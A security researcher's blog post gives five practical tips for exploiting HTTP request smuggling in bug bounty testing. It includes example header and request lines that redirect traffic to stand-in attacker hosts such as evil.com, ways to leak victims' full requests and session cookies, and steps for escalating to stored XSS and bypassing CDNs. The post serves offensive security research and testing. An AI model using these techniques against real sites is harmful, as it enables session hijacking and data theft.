When James Kettle (@albinowax) from PortSwigger published his ground-breaking research on HTTP request smuggling six months ago, I did not immediately delve into the details of it. Instead, I ignored what was clearly a complicated type of attack for a couple of months until, when the time came for me to advise a client on their infrastructure security, I felt I better made sure I understood what all the fuss was about.
Since then, I have been able to leverage the technique in a number of nifty scenarios with varying results. This post focuses on a number of practical considerations and techniques that I have found useful when investigating the impact of the attack against servers and websites that were found to be vulnerable. If you are unfamiliar with HTTP request smuggling, I strongly recommend you read up on the topic in order to better understand what follows below. These are the two absolute must-reads:
Recap
As a recap, there are some key topics that you need to grasp when talking about request smuggling as a technique:
- Desynchronization
At the heart of a HTTP request smuggling vulnerability is the fact that two communicating servers are out of sync with each other: upon receiving a HTTP request message with a maliciously crafted payload, one server will interpret the payload as the end of the request and move on to the “next HTTP request” that is embedded in the payload, while the second will interpret it as a single HTTP request, and handle it as such.
- Request Poisoning
As a result of a successful desynchronization attack, an attacker can poison the response of the HTTP request that is appended to the malicious payload. For example, by embedding a smuggled HTTP request to a page evil.html
, an unsuspecting user might get the response of the evil page, rather than the actual response to a request they sent to the server.
- Smuggling result
The result of a successful HTTP smuggling attack will depend heavily on how the server and the client respond to the poisoned request. For example, a successful attack against a static website that hosts a single image file will have a very different impact than successfully targeting a dynamic web application with thousands of concurrent active users. To some extent, you might be able to control the result of your smuggling attack, but in some cases you might be unlucky and need to conclude that the impact of the attack is really next to none.
Practical tips
By and large, I can categorize my experiences with successful request smuggling attacks in two categories: exploiting the application logic, and exploiting server redirects.
When targeting a vulnerable website with a rich web application, it is often possible to exfiltrate sensitive information through the available application features. If any information is stored for you to retrieve at a later point in time (think of a chat, profile description, logs, ….) you might be able to store full HTTP requests in a place where you can later read them.
When leveraging server redirects, on the other hand, you need to consider two things to build a decent POC: a redirect needs to be forced, and it should point to an attacker-controlled server in order to have an impact.
Below are five practical tips that I found useful in determining the impact of a HTTP request smuggling vulnerability.
#1 – Force a redirect
Before even trying to smuggle a malicious payload, it is worth establishing what payload will help you achieve the desired result. To test this, I typically end up sending a number of direct requests to the vulnerable server, to see how it handles edge cases. When you find a requests that results in a server direct (HTTP status code 30X), you can move on to the next step.
Some tests I have started to incorporate in my routine when looking for a redirect are:
-
/aspnet_client
on Microsoft IIS will always append a trailing slash and redirect to/aspnet_client/
- Some other directories that tend to do this are
/content
,/assets
,/images
,/styles
, … - Often http requests will redirect to https
- I found one example where the path of the referer header was used to redirect back to, i.e.
Referer: https://www.company.com//abc.burpcollaborator.net/hacked
would redirect to//abc.burpcollaborator.net/hacked
- Some sites will redirect all files with a certain file extensions, e.g.
test.php
totest.aspx
#2 – Specify a custom host
When you found a request that results in a redirect, the next step is to determine whether you can force it to redirect to a different server. I have been able to achieve this by trying each of the following:
- Override the hostname that the server will parse in your smuggled request by including any of the following headers and investigating how the server responds to them:
Host: evil.com
X-Host: evil.com
X-Forwarded-Host: evil.com
- Similarly, it might work to include the overridden hostname in the first line of the smuggled request:
GET http://evil.com/ HTTP/1.1
- Try illegally formatting the first line of the smuggled request:
GET .evil.com HTTP/1.1
will work if the server appends the URI to the existing hostname:Location: https://vulnerable.com.evil.com
#3 – Leak information
Regardless of whether you were able to issue a redirect to an attacker-controlled server, it’s worth investigating the features of the application running on the vulnerable server. This heavily depends on the type of application you are targeting, but a few pointers of things you might look for are:
- Email features – see if you can define the contents of an email of which receive a copy;
- Chat features – if you can append a smuggled request, you may end up reading the full HTTP request in your chat window;
- Update profile (name, description, …) – any field that you can write and read could be useful, as long as it allows special and new-line characters;
- Convert JSON to a classic POST body – if you want to leverage an application feature, but it communicates via JSON (e.g.
{"a":"b", "c":"3"}
), see if you can change the encoding to a classica=b&c=3
format with the headerContent-Type: application/x-www-form-urlencoded
.
#4 – Perfect your smuggled request
If you are facing issues when launching a smuggling attack, and you don’t see your expected redirect but are facing unexpected error codes (e.g. 400 Bad Request), you may need to put some more information in your smuggled request. Some servers fail when it cannot find expected elements in the HTTP request. Here are some things that sometimes work:
- Define
Content-length
andContent-Type
headers; - Ensure you set
Content-Type
toapplication/x-www-form-urlencoded
if you are smuggling a POST request; - Play with the content length of the smuggled request. In a lot of cases, by increasing or decreasing the smuggled content length, the server will respond differently;
- Switch GET to POST request, because some servers don’t like GET requests with a non-zero length body.
- Make sure the server does not receive multiple
Host
headers, i.e. by pushing the appended request into the POST body of your smuggled request; - Sometimes it helps to troubleshoot these kinds of issues if you can find a different page that reflects your poisoned HTTP request, e.g. look for pages that return values in POST bodies, for example an error page with an error message. If you can read the contents of your relayed request, you might figure out why your payload is not accepted by the server;
- If the server is behind a typical load-balancer like CloudFlare, Akamai or similar, see if you can find its public IP via a service like SecurityTrails and point the HTTP request smuggling attack directly to this “backend”;
- I have seen cases where the non-encrypted (HTTP) service listening on the server is vulnerable to HTTP request smuggling attacks, whereas the secure channel (HTTPS) service isn’t, and the other way around. Ensure you test both separately and make sure you investigate the impact of both services separately. For example, when HTTP is vulnerable, but all application logic is only served on HTTPS pages, you will have a hard time abusing application logic to demonstrate impact.
#5 – Build a good POC
- If you are targeting application logic and you can exfiltrate the full HTTP body of arbitrary requests, that basically boils down to a session hijacking attack of arbitrary victims hitting your poisoned requests, because you can view the session cookies in the request headers and are not hindered by browser-side mitigations like the
http-only
flag in a typical XSS scenario. This is the ideal scenario from an attacker’s point of view; - When you found a successful redirect, try poisoning a few requests and monitor your attacker server to see what information is sent to your server. Typically a browser will not include session cookies when redirecting the client to a different domain, but sometimes headless clients are less secure: they may not expect redirects, and might send sensitive information even when redirected to a different server. Make sure to inspect GET parameters, POST bodies and request headers for juicy information;
- When a redirect is successful, but you are not getting anything sensitive your way, find a page that includes JavaScript files to turn the request poisoning into a stored XSS, ensure your redirect points to a JavaScript payload (e.g. https://xss.honoki.net/), and create a POC that generates a bunch of iframes with the vulnerable page while poisoning the requests, until one of the
<script>
tags ends up hitting the poisoned request, and redirects to the malicious script; - If the target is as static as it gets, and you cannot find a redirect, or there isn’t a page that includes a local JavaScript file, consider holding on to the vulnerability in case you can chain it with a different one instead of reporting it as is. Most bug bounty programs will not accept or reward a HTTP request smuggling vulnerability if you cannot demonstrate a tangible impact.
Finally, keep in mind to act responsibly when testing for HTTP request smuggling, and always consider the impact on production services. When in doubt, reach out to the people running the show to ensure you are not causing any trouble.
Follow @honoki